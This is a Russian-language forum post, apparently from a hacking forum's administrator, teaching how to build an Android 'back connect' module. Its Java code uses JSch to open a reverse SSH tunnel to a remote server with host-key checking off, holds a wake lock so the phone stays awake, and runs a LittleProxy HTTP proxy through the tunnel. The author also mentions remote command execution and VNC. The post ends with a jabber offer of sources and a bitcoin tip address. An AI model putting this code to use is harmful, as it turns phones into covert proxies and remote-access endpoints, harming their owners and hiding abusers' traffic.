back connect android на примере proxy

Admin

Administrator
Команда форума
Последнее время все спрашивают про android bk. Как сделать прокси? или еще что-то. В общем посидел и надумал набросать статейку универсальную. Она будет делиться на 2 части. Первая это написание универсального бк. А вторая это как сделать прокси из этого.
unnamedsdfsdf.png


Нам потребуется следующие модули
  1. littleproxy - сервер прокси ждя андроид
  2. jsch - ssh клиент для android
А так же
  1. Любой линукс сервер с установленным ssh сервисом
  2. Немного терпения
Шаг первый и немного теории
Чтобы сделать обратный конект, без всякого гемороя, мы будем использовать тунелирование. Да да то самое тунелирование ssh протокола. В чем прелесть? Мы можем перекинуть любой порт на сервер, будь то VNC,Proxy,SSH server и так далее. Да если вы запустите на телефоне ssh сервер. Вы можете им управлять через ssh. Передавать файлы, выполнять команды и так далее. Кому интересно я оставлю ссылку в конце. И так наша задача запустить какой-то сервис или уже использовать текущий запущенный и передать этот порт на сервер.

Теория R port forwarding взятая с хабра
0ed83476e544420facb0898f014c854a.png


После успешного подключения, на «host1» SSH-сервер начинает слушать порт 9999. При подключении к порту 9999 на «host1», SSH-клиент на «host2» устанавливает соединение с localhost (коим и является для себя самого «host2») на порт 5432 и передает по этому соединению данные, принятые ssh-сервером на «host1» на порт 9999.

Я реально сам долго допетривал по молодости когда нужно L когда R. Чуть не спился) ахах

Нам нужно смитировать команду
ssh -R RANDOM_PORT:localhost:NEED_PORT user@server_ip
Перейдем к коду)

Добавляем зависимость
implementation group: 'com.jcraft', name: 'jsch', version: '0.1.54'
Функция конекта
public static void executeRemoteCommand(Context cnt,String username,String password,String hostname,int port) throws Exception {
Random r = new Random();
int portp = r.nextInt(20000 - 8000) + 8000;
int ports = readIntConfig(cnt,"port");

PowerManager powerManager = (PowerManager) cnt.getSystemService(POWER_SERVICE); //делаем так чтобы приложение не заснуло
PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
"MyWakelockTag");
wakeLock.acquire();

// proxy start here

JSch jsch = new JSch();
Session session = jsch.getSession(username, hostname, port);
session.setPassword(password);

Properties prop = new Properties();
prop.put("StrictHostKeyChecking", "no");
session.setConfig(prop);

session.connect();

session.setPortForwardingR("*",ports,"127.0.0.1", portp);
while(true){
session.sendKeepAliveMsg();
}
}
Нажмите, чтобы раскрыть...
Открываем конект
new AsyncTask<Integer, Void, Void>(){
@Override
protected Void doInBackground(Integer... params) {
try {
executeRemoteCommand(cnt,"root", "password","ip_server", 22);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}.execute(1);
После запуска этого кода, мы создаем поток, в котором будет открыт конект на сервер и пробросится порт, а так же в цикле будет отсылаться keepalive чтобы не отвалился конект.

Подключаем наш прокси
implementation group: 'org.littleshoot', name: 'littleproxy', version: '1.1.0-beta1'
Вставляем код старта прокси где коментарий в коде выше
org.littleshoot.proxy.HttpProxyServer server;
try {
server = DefaultHttpProxyServer
.bootstrap()
.withPort(portp)
.start();
}catch (Exception e){}
Собственно и все, теперь мы создали конект, запустили прокси и прокинули порт. Можно раслабить булки. Но так же можно прокинуть любой другой порт с телефона и юзать его. Теперь мы просто подключаемся к серверу на нужный порт и все. Так же с помощью данной библиотеки можно выполнять любой код на сервере, как в консоли. Возможностей где развернуться очень много :)

Есть один ньюанс, и все порты пробрасываемые через ssh протокол будут создваваться на localhost и вам нужно будет их пробрасывать на внешний. к примеру использую команду redir или iptables правила.

Используемые материалы
Последняя ссылка обязательна к прочтению, дабы более ясно понимать

P.S. всем бобра, будут вопросы, пишите, всем с радостью отвечу) кстати кто очень интересовался VNC под андроид, есть тоже либа и можно так использовать ее ;) нужны исходники, стучите в jabber отдам.
Ну и кому не жалко можно на пиво
btc
1DkYYgfCLBE44xN7BPXgLLKEvrTTcygVu6
 
Последнее редактирование:
Сверху